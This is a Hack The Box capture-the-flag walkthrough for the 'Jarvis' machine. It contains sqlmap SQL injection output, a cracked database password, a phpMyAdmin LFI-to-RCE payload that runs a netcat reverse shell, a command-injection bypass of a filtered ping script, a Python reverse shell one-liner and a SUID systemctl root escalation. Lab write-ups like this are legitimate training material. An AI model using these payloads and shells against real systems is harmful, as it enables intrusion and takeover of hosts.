# Hack the Box Walkthrough: Jarvis

## Overview

This post provides a walkthrough of the Jarvis system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

## Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

### Nmap Scan

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19  Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-24 21:55 EDT [snip] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8💿c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). [snip] 

## Web Server on TCP/80

There is a web server on this port running some kind of Stark Hotel mock hotel web app.

• you can check out the room types
• you can see pictures

After some digging around I noticed that there was really only one single GET parameter called cod being passed to the room.php resource.

I did a quick probe with sqlmap to see if the parameter was injectable:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25  # sqlmap -u http://10.10.10.143/room.php?cod=1 ___ __H__ ___ ___["]_____ ___ ___ {1.3.8#stable} |_ -| . [(] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:59:57 /2019-10-22/ [23:59:57] [INFO] testing connection to the target URL [23:59:57] [INFO] checking if the target is protected by some kind of WAF/IPS [23:59:57] [INFO] testing if the target URL content is stable [23:59:58] [INFO] target URL content is stable [23:59:58] [INFO] testing if GET parameter 'cod' is dynamic [23:59:58] [INFO] GET parameter 'cod' appears to be dynamic [23:59:58] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable [23:59:58] [INFO] testing for SQL injection on GET parameter 'cod' [23:59:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [23:59:58] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of") [00:00:00] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 

Confirmed the parameter was injectable. Retrieving the password for the database account:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30  root@kali:/usr/share/wfuzz/wordlist# sqlmap -u http://10.10.10.143/room.php?cod=1 --passwords ___ __H__ ___ ___[(]_____ ___ ___ {1.3.8#stable} |_ -| . [)] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:00:53 /2019-10-23/ [00:00:53] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: PHP, Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [00:00:53] [INFO] fetching database users password hashes [00:00:53] [INFO] used SQL query returns 1 entry [00:00:54] [INFO] used SQL query returns 1 entry do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [00:00:58] [INFO] writing hashes to a temporary file '/tmp/sqlmaphET2ZP3833/sqlmaphashes-VBcM6S.txt' do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n database management system users password hashes: [*] DBadmin [1]: password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 [00:01:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143' [00:01:05] [WARNING] you haven't updated sqlmap for more than 81 days!!! [*] ending @ 00:01:05 /2019-10-23/ 

I cracked the password hash using an online password cracker, attaining the DBadmin / imissyou credential set.

In parallel, I was running dirbuster to identify any potential directories of interest outside of the main web app. I found that phpmyadmin was running at http://10.10.10.143/phpmyadmin. Having already attained the database credentials, I went ahead and used the aforementioned credentials to log in to phpmyadmin

Upon logging in I ascertained that the system was running phpmyadmin 4.8.0 . I did some quick searching and quickly found that there was an LFI vulnerability that could be turned in to an RCE. More details about this vulnerability (CVE-2018-12613) are available at:

The following steps would be taken:

• within phpmyadmin you execute the following query:
• select '<?php echo"ready2roll";shell_exec("netcat -e /bin/sh 10.10.14.11 4666");?>'
• then you trigger the execution of this code by visiting:
• http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php?/../../../../../../../../var/lib/php/sessions/sess_[*PHPSESSID*]
• Where PHPSESSID is the actual value of the current authenticated PHPSESSID cookie

The above will trigger a reverse shell to be executed and established as the www-data user.

## Shell as www-data

I spent a good bit of time looking around the box and enumerating different local privilege escalation paths. I did this manually and with the typical linux enumeration checker scripts found on GitHub and the like.

I noticed that root was running an interesting process of python3 sqli_defender.py. I thought this might be related to something so I ran find . -name "*.py" to look for any kind of python files that sort of stand out. Luckily, one of the first results was /var/www/Admin-Utilities/simpler.py. I reviewed the script and found that it had an obvious command execution challenge.

### simpler.py Source Code

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149  #!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re def show_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message) def show_header(): print('''*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_  _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** ''') def show_statistics(): path = '/home/pepper/Web/Logs/' print('Statistics\n-----------') listed_files = listdir(path) count = len(listed_files) print('Number of Attackers: ' + str(count)) level_1 = 0 dat = datetime(1, 1, 1) ip_list = [] reks = [] ip = '' req = '' rek = '' for i in listed_files: f = open(path + i, 'r') lines = f.readlines() level2, rek = get_max_level(lines) fecha, requ = date_to_num(lines) ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if fecha > dat: dat = fecha req = requ ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if int(level2) > int(level_1): level_1 = level2 ip_list = [ip] reks=[rek] elif int(level2) == int(level_1): ip_list.append(ip) reks.append(rek) f.close() print('Most Risky:') if len(ip_list) > 1: print('More than 1 ip found') cont = 0 for i in ip_list: print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont]) cont = cont + 1 print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req) def list_ip(): print('Attackers\n-----------') path = '/home/pepper/Web/Logs/' listed_files = listdir(path) for i in listed_files: f = open(path + i,'r') lines = f.readlines() level,req = get_max_level(lines) print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level) f.close() def date_to_num(lines): dat = datetime(1,1,1) ip = '' req='' for i in lines: if 'Level' in i: fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0] regex = '(\d+)-(.*)-(\d+)(.*)' logEx=re.match(regex, fecha).groups() mes = to_dict(logEx[1]) fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3] fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S') if fecha > dat: dat = fecha req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10] return dat, req def to_dict(name): month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'} return month_dict[name] def get_max_level(lines): level=0 for j in lines: if 'Level' in j: if int(j.split(' ')[4]) > int(level): level = j.split(' ')[4] req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10] return level, req def exec_ping(): forbidden = ['&', ';', '-', '', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) if __name__ == '__main__': show_header() if len(sys.argv) != 2: show_help() exit() if sys.argv[1] == '-h' or sys.argv[1] == '--help': show_help() exit() elif sys.argv[1] == '-s': show_statistics() exit() elif sys.argv[1] == '-l': list_ip() exit() elif sys.argv[1] == '-p': exec_ping() exit() else: show_help() exit() 

It felt pretty intuitive that the challenge was to find some kind of way to abuse this script to move on. I also noticed that the script was owned by the pepper user.

 1 2 3 4 5 6 7  www-data@jarvis:/var/www/Admin-Utilities$ls -lha ls -lha total 16K drwxr-xr-x 2 pepper pepper 4.0K Mar 4 2019 . drwxr-xr-x 4 root root 4.0K Mar 4 2019 .. -rwxr--r-- 1 pepper pepper 4.5K Mar 4 2019 simpler.py  During earlier reconnaissance work I noticed there was some log data being written to pepper user’s home folder having to do with web attack logging; this script was meant to parse that output and provide other functionality. I spent a good bit of time figuring out how to get a shell that didn’t require the use any of the characters filtered by simpler.py. I was doing the testing on a local copy of the script to avoid killing my shell inadvertently. I eventually figured out that I could use command substitution with $() instead of using backticks. Locally I could actually put an arbitrary and complex command in to an environment variable like so:

 1  export test=netcat -e /bin/bash 10.10.14.11 5000 

and then trigger that command by providing simpler.py -p with $($test) as the input when it asked for an IP address. This didn’t work on Jarvis, and I didn’t explore further why.

Instead, I opted to use a simpler approach and just spawn bash with $(bash) I also checked to see what sudo rights the www-data user had. Interestingly enough the www-data user was able to sudo as pepper to run the simpler.py script. This was absolute certainty I was on the right path. However, in order to sudo as pepper and execute the script I had to get an interactive shell going. ### Getting an Interactive Shell In order to get the current netcat shell I had to upgraded to a fully interactive shell, I follow the instructions at: With a fully interactive shell, I could now use the sudo command and execute the attack:   1 2 3 4 5 6 7 8 9 10 11 12 13 14  www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_  _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $(bash)  This dropped me in to a shell as pepper but I could not actually see any of the output being sent back. This is likely due to the changes that were made to make the previous shell interactive, but I’m not positive. To get around this, I spawned another shell from this existing shell, this time to another port and using python:  1  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",5000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'  This got me a successful shell back as pepper:  1 2 3 4 5 6  root@kali:/usr/share/wfuzz/wordlist# netcat -vlp 5000 listening on [any] 5000 ... 10.10.10.143: inverse host lookup failed: Unknown host connect to [10.10.14.11] from (UNKNOWN) [10.10.10.143] 55918 pepper@jarvis:/var/www/Admin-Utilities$ cd /home 

I retrieved the user flag from the user’s home folder:

 1 2 3 4  pepper@jarvis:~$cat user.txt cat user.txt 2afa36c4f05b37b34259c93551f5c44f pepper@jarvis:~$ 

## Shell as pepper

Now that we are a proper user, let’s establish access through SSH. We don’t know the user’s password and we can’t change it, but we can dump our public SSH key in to the authorized_keys file for the user and SSH in. Works like a charm.

Using LinEnum to enumerate the box with the thorough flag set, I came across interesting output:

 1 2 3  [+] Possibly interesting SUID files: -rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl 

## Shell as root

It seems that systemctl has both the SUID bit set and is executable by our user pepper. Doing some googling around of how to launch a shell I came across https://gtfobins.github.io and found this command sequence to spawn a shell with systemctrl:

 1 2 3 4  TF=$(mktemp) echo /bin/sh >$TF chmod +x $TF sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice 

I modified the last line to remove the sudo as it wasn’t needed given the permissions set (SUID) on systemctl. I was then able to get a root shell and retrieve the root flag:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14  pepper@jarvis:~$TF=$(mktemp) pepper@jarvis:~$echo /bin/sh >$TF pepper@jarvis:~$chmod +x$TF pepper@jarvis:~$SYSTEMD_EDITOR=$TF systemctl edit system.slice # whoami root # cd /root # ls clean.sh root.txt sqli_defender.py # cat clean.sh #!/bin/bash > /var/log/apache2/access.log # cat root.txt d41d8cd98f00b204e9800998ecf84271 `